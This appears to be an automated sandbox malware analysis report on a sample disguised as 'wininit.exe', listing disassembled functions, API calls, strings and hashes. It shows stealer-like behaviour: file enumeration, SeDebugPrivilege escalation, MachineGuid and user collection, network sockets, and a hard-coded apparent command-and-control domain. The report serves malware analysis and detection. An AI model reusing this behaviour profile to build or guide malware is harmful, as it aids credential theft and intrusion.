Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a635e970559874cfd6d54805c5398944ef9fdf737989b09704d7f2d03307fe
Instruction ID: 032f1e4484eb62a50f6db49efe5bd435fc826b8c0588c1cd1f538517cff7c67f
Opcode Fuzzy Hash: 92a635e970559874cfd6d54805c5398944ef9fdf737989b09704d7f2d03307fe
Instruction Fuzzy Hash: 40F01C34905228CFDB60CF64CD44BE9BBB5AB49304F2880EA854EA3255C7329E85DF64

Function 00D4021A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9785039a4578544bf8b8b6033df88c6889ffa026a446ee572a1abcae723a2f
Instruction ID: 42837131f8d3c618c87ff09e0a2ab26e3e7923fb706a35cabb8fe3b6d84a93fb
Opcode Fuzzy Hash: cf9785039a4578544bf8b8b6033df88c6889ffa026a446ee572a1abcae723a2f
Instruction Fuzzy Hash: 0AE06D34904219CFCB54CF14C988BE8BBF4AB58300F5480E9894D93281DB349E85DF20

Non-executed Functions

Function 001CC410 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

Y>0, xrefs: 001CC46B

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: Y>0
API String ID: 0-1250427286
Opcode ID: 54f39cbbb428273acb590d9398bc97733bbe3e9783f1208d03d51c759519f150
Instruction ID: 7e766999d8d1ccb592a2eaddaa97d76ab9193ee250d84a954219286314d8d2ec
Opcode Fuzzy Hash: 54f39cbbb428273acb590d9398bc97733bbe3e9783f1208d03d51c759519f150
Instruction Fuzzy Hash: 68E1FA74E006598FCB14DFA9C590AAEFBB2FF89314F248169D819A7356D730AD41CFA0

Function 001CD6D8 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

z|>, xrefs: 001CD733

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: z|>
API String ID: 0-1134487427
Opcode ID: d8a1dff9647f350967ca826610c563de644ef0ace603a7cf9f08f4ff7881cd64
Instruction ID: 0337a3b8dd6d59d2409c9b31ed22777073f30b64903fc3a6648c4b3f0fed36b8
Opcode Fuzzy Hash: d8a1dff9647f350967ca826610c563de644ef0ace603a7cf9f08f4ff7881cd64
Instruction Fuzzy Hash: E9E10A74E006598FCB14DFA9D580AAEFBB2FF89304F248169D919AB356D730AD41CF60

Function 001CC848 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

fo_N, xrefs: 001CC8A3

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: fo_N
API String ID: 0-3502626514
Opcode ID: d1759ab44f3105b43b6b92597c37a0aff1c6cb882363f98507f35df06c0c52af
Instruction ID: 1f8783434feadb1b3771724f8ddf107dac7a71ee2f4e6c6df063394ce95295a5
Opcode Fuzzy Hash: d1759ab44f3105b43b6b92597c37a0aff1c6cb882363f98507f35df06c0c52af
Instruction Fuzzy Hash: E9E10A74E006598FCB14DFA9C590AAEFBB2FF89304F248169D819A7356D730AD41CFA1

Function 001CCC80 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0ee330bcdb03d06f8b0458e9ffa647836243edb4a066e1cb9808b8961053f6
Instruction ID: ca0a280bda675d62d9cdfb8ead0e878d10962dac05f50323cfa3df219d34fda6
Opcode Fuzzy Hash: 5e0ee330bcdb03d06f8b0458e9ffa647836243edb4a066e1cb9808b8961053f6
Instruction Fuzzy Hash: 65E11B74E005598FCB14DFA9C580AADFBB2FF89310F248169D819A7356D731AD41CFA0

Function 001CBFD8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d00ee6b1ca8ba8c7a93d3bdddf37a441774d90b3fa7d750ce9e1bccf6762710
Instruction ID: b1183e13af76624769761be0d3d40ee709c9f52cd067b3f916e80769d21651bf
Opcode Fuzzy Hash: 5d00ee6b1ca8ba8c7a93d3bdddf37a441774d90b3fa7d750ce9e1bccf6762710
Instruction Fuzzy Hash: 83E1EA74E006598FCB14DFA9C590AADFBB2FF89304F248169D919AB356D730AD41CFA0

Analysis Process: wininit.exePID: 3932, Parent PID: 3868COMMON

Execution Graph

Execution Coverage:	33.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	1845
Total number of Limit Nodes:	99

Executed Functions

Function 00403D74 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
Windows, xrefs: 00403DEA
Program Files, xrefs: 00403E01
%s\*, xrefs: 00403D99

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 40569ec27d2ed31b417640aba95bc215c8784f98b68723b6d904a84cd13a4eb5
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 40569ec27d2ed31b417640aba95bc215c8784f98b68723b6d904a84cd13a4eb5
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Function 0040650A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Function 00402B7C Relevance: 3.0, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Function 00406069 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Function 004061C3 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C
LookupAccountSidW.ADVAPI32(00000000,?,?,?,00000000,?,?,00000009,C0862E2B,00000000,00000000), ref: 004062E0

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: _wmemset$AccountErrorInformationLastLookupToken
String ID: IDA$IDA
API String ID: 3235442692-2020647798
Opcode ID: 8f4c50f187fada40fa8616370cc6dbcfe75cac2a49f6409a7c25fc8b8f748027
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: 8f4c50f187fada40fa8616370cc6dbcfe75cac2a49f6409a7c25fc8b8f748027
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Function 00404E17 Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Function 004040BB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Function 00413866 Relevance: 4.6, APIs: 3, Instructions: 147synchronizationCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Function 004042CF Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Function 00412D31 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Function 0040632F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Function 0041284A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SHRegSetPathW.SHLWAPI(00000000,?,00000000,-80000001,00412D05,00000002,EBB783D2,00000000,00000000,5,A,00412D05,-80000001,00000000,5,A,00000000,00000000), ref: 0041286C

Strings

5,A, xrefs: 0041284A

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Path
String ID: 5,A
API String ID: 2875597873-3842761921
Opcode ID: 985f833e562fc410bf8876cb62ef75c9432edfe987e4e1d4c2e5d722ffee7efc
Instruction ID: e513a9aa1dc03f827004651369457c754081445531a40a51076ab4492d9af12d
Opcode Fuzzy Hash: 985f833e562fc410bf8876cb62ef75c9432edfe987e4e1d4c2e5d722ffee7efc
Instruction Fuzzy Hash: 48D0C93214020DBBDF026EC1DC02F9A3F2AAB48754F004014BB18280A1D6B3A630ABA9

Function 00406086 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Function 00402C03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Function 00404A52 Relevance: 3.1, APIs: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNEL32(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Function 004060BD Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Function 00404BEE Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

SHQueryValueExW.SHLWAPI(?,?,00000000,00000000,00000000,00000208,00000002,C170F4F3,00000000,00000000), ref: 00404C35

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcessQueryValue
String ID:
API String ID: 3318767951-0
Opcode ID: d2beadab3bee545cf5c60f8980fe712c5f4b0e5d6cba08d7b965a56316f6b4bd
Instruction ID: 79155844af0806bdf0c3860b022b506ec09407af8f096f74cdf457618d2260c4
Opcode Fuzzy Hash: d2beadab3bee545cf5c60f8980fe712c5f4b0e5d6cba08d7b965a56316f6b4bd
Instruction Fuzzy Hash: 16F0247290611436E7206E578E0DCAF7F3CCBC3B25B01003EF908B61C0DAB99A0181B8

Function 00404056 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,0000000A,C7F71852,00000000,00000000,00413CAD,0000001A,00000001), ref: 0040408F

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFolderPathProcess
String ID:
API String ID: 398210565-0
Opcode ID: 5a4567249377e1c5aacc7f09cc20ffc60836f4584ead4ee4f677cdbbf549426b
Instruction ID: 7d0b33caadbb1370849e9dfd1ecad86b360ac2e9a1dca59c17201c727c4e1007
Opcode Fuzzy Hash: 5a4567249377e1c5aacc7f09cc20ffc60836f4584ead4ee4f677cdbbf549426b
Instruction Fuzzy Hash: 57E06D6260156136D23129A7AC09D6B6E7DCBD3FA5B00003FF708F52C1D96D990281BA

Function 00403C62 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
